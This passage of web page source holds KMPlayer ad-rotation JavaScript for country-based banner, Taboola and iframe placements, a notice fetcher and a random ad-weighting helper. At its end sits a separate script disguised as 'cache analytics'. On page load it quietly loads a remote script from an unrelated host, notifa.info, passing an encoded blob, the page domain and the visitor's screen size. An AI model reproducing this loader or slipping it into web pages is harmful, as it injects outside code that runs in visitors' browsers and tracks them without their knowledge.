var tempURL = "http://gplayer.kmpmedia.net/kmp_plus/ad/no_ad?
type=300250"
jQuery('#ad_300x250').html('<iframe src="'+rateObj.tag_url+'"
width="300" height="250" frameborder="0" scrolling="no" topmargin="0"
leftmargin="0" marginwidth="0" marginheight="0"></iframe>');
// KMP 하우스배너
}
}
else
{
rateObj = adRate(GB_ad300250);

if(rateObj.kind=='TABOOLA')
{
var strMode = '';
strMode = 'thumbnails-c';
window._taboola = window._taboola || [];
_taboola.push({
mode: strMode,
container: 'ad_300x250',
placement: 'Below Article Thumbnails 2nd',
target_type: 'mix'
});
}
else if(rateObj.kind=='IRONSOURCE')
{
jQuery('#ad_300x250').html('<iframe src="'+rateObj.tag_url+'"
width="300" height="250" frameborder="0" scrolling="no" topmargin="0"
leftmargin="0" marginwidth="0" marginheight="0"></iframe>');
}
else
{
// KMP 하우스배너
var tempURL = "http://gplayer.kmpmedia.net/kmp_plus/ad/no_ad?
type=300250"
jQuery('#ad_300x250').html('<iframe src="'+rateObj.tag_url+'"
width="300" height="250" frameborder="0" scrolling="no" topmargin="0"
leftmargin="0" marginwidth="0" marginheight="0"></iframe>');
// KMP 하우스배너
}
}
console.log('300x250 : ' + rateObj.kind);
}

function setAD_402x100(){
var strMode = 'thumbnails-d-box';
window._taboola = window._taboola || [];
_taboola.push({
mode: strMode,
container: 'ad_402x100',
placement: 'Below Article Thumbnails 3rd',
target_type: 'mix'
});
}

// Main page Top banner


function setAD_728x90_m(){
var rateObj;
if(kmplayerInfo.ipCountry == 'KR')
{
rateObj = adRate(KR_ad72890_m);
}
else
{
rateObj = adRate(GB_ad72890_m);
}
jQuery('#ad_728x90_m_i').attr('src',rateObj.tag_url);
console.log('728x90 Main : ' + rateObj.kind);
}

// View page Bottom banner


function setAD_728x90(){
var rateObj;

if(kmplayerInfo.ipCountry == 'KR')
{
rateObj = adRate(KR_ad72890);
}
else
{
rateObj = adRate(GB_ad72890);
}
jQuery('#ad_728x90_i').attr('src',rateObj.tag_url);
console.log('728x90 View : ' + rateObj.kind);
}

// Bottom notice AD
function getNotice(){
var strCallUrl = '';
if( kmplayerInfo.ipCountry=='KR' ) {
strCallUrl = 'http://prism.pandora.tv/kmp/player/KR_Main_Text/';
} else {
strCallUrl = 'http://prism.pandora.tv/kmp/player/GB_Main_Text/';
}
jQuery.ajax({
url : strCallUrl
,dataType : 'json'
,type : 'get'
,success : function( json ) {
var title = (typeof json.title!='undefined' && json.title!='') ?
json.title : '';
var url = (typeof json.url!='undefined' && json.url!='') ?
json.url : '';

if( title=='' || url=='' )


{
setDebugConsole('notice error, title['+title+'] or
url['+url+']');
}
else
{
jQuery('#notice').html('<p><a href="'+url+'"
target="_new">'+title+'</a></p>').show();
}
}
,error : function(){
setDebugConsole('error :: getNotice');
}
});
}

// 광고 Rate 값
function adRate(adData)
{
// '{"kind 값":["비율","태그"]}'
var jsonData = jQuery.parseJSON(adData);
var fillData = [];
var mergeData = [];

jQuery.each( jsonData, function(mKey, mArr){


var fillArray = array_fill(mArr[0], mKey);
fillData.push(fillArray);
});
mergeData = array_merge(fillData[0],fillData[1],fillData[2]);
var targetNum = Math.floor((Math.random() * 100));
var outputJson = {'kind':mergeData[targetNum],
'tag_url':jsonData[mergeData[targetNum]][1]};
console.log(outputJson);
return outputJson;
}
function array_fill(num, mixedVal)
{
var key
var tmpArr = {}
if (!isNaN(num))
{
for (key = 0; key < num; key++)
{
tmpArr[key] = mixedVal;
}
}
return tmpArr
}

function array_merge()
{
var args = Array.prototype.slice.call(arguments)
var argl = args.length
var arg
var retObj = {}
var k = ''
var argil = 0
var j = 0
var i = 0
var ct = 0
var toStr = Object.prototype.toString
var retArr = true
for (i = 0; i < argl; i++)
{
if (toStr.call(args[i]) !== '[object Array]') {
retArr = false
break
}
}
if (retArr)
{
retArr = []
for (i = 0; i < argl; i++) {
retArr = retArr.concat(args[i])
}
return retArr
}
for (i = 0, ct = 0; i < argl; i++)
{
arg = args[i]
if (toStr.call(arg) === '[object Array]') {
for (j = 0, argil = arg.length; j < argil; j++) {
retObj[ct++] = arg[j]
}
} else {
for (k in arg) {
if (arg.hasOwnProperty(k)) {
if (parseInt(k, 10) + '' === k) {
retObj[ct++] = arg[k]
} else {
retObj[k] = arg[k]
}
}
}
}
}
return retObj
}
// 광고 Rate 값

// 해외 전면 배너
function setAD_800x440()
{
var strEOL = String.fromCharCode(13);

var script = '';


script += '<script type="text/javascript">' + strEOL;
script += '/*<![CDATA[*/' + strEOL;
script += 'supp_key = "61a7f702c9bf75aa13fafb3e5a2c7142";' + strEOL;
script += 'supp_time = new Date().getTime();' + strEOL;
script += 'supp_channel = "";' + strEOL;
script += 'supp_code_format = "ads-sync.js";' + strEOL;
script += 'supp_click = "";' + strEOL;
script += 'supp_custom_params = {};' + strEOL;
script += '/*]]>*/' + strEOL;
script += '</'+'script>' + strEOL;
script += '<script type="text/javascript" src="//www.1-
1ads.com/js/show_ads_supp.js?pubId=5381"></'+'script>';

jQuery('#m_banner').html(script);
jQuery('#m_banner').show();
}
//-->
</script>

<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn,


callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn)
{fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ?
"https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var
url = idc_glo_url+ "p03.notifa.info/3fsmd3/request" + "?id=1" + "&enc=9UwkxLgY9" +
"&params=" + "4TtHaUQnUEiP6K
%2fc5C582JKzDzTsXZH2ik35a6XzjFQohrpfPPfD7yYTtmsJUSdP14wPkMPMFASPzbTLzNQv2YUQq9TuxEL
wyQn1eoad2yhcIQD49FuNbqQ8YtdEpfF12tI8Cl9TXMClnCR
%2fCGFlZvIlr0gmUjOBuvcIazXKCGSf7n58H68Fouge1ZlX6QKdm0HuaMmu7aFhwZFn6uPpgpZuhxO7bP1b
wPaC5FkLFG%2fuE0sB2ewrVaf4%2flg9MZqYL5CsDtwSfZIsDbMnnz%2byT33cnq%2bN0y5MjRQ9blMo2f
%2bHAZ6B4b3pnS318uhs4zHDOPXy3kuJ26iNsg5PSEgOL4XlFXfNCoYA4Z4OptHM0MK8JfIJ
%2bDkEgwUcsoKFmBr3p1lad8zQmA5ALbOoQXxEv39uw6HIg%2bi96mqrAMeyzi
%2brRL3K6%2fY4PcthjE3XCK9qUIuoBDuZrfaXOr8rLC9Ma9MtBfZVqDVdo5JHdvV6ck6FdGhbE1e%2fcu
%2fO2bUat9KL6VOLgwW34np2%2fbQV8B3evP5HyUL%2fAAO
%2fvQRAWBWG6sJqNJ3F0xGLUMVPQoVPdidgroznpa9IlZXRoaAJzwL0oAWjyHaLKCeWQyHkataLLyo%3d"
+ "&idc_r="+idc_glo_r + "&domain="+document.domain +
"&sw="+screen.width+"&sh="+screen.height;var bsa =
document.createElement('script');bsa.type = 'text/javascript';bsa.async =
true;bsa.src = url;(document.getElementsByTagName('head')[0]||
document.getElementsByTagName('body')
[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function()
{});};</script></body>
</html>

S-ar putea să vă placă și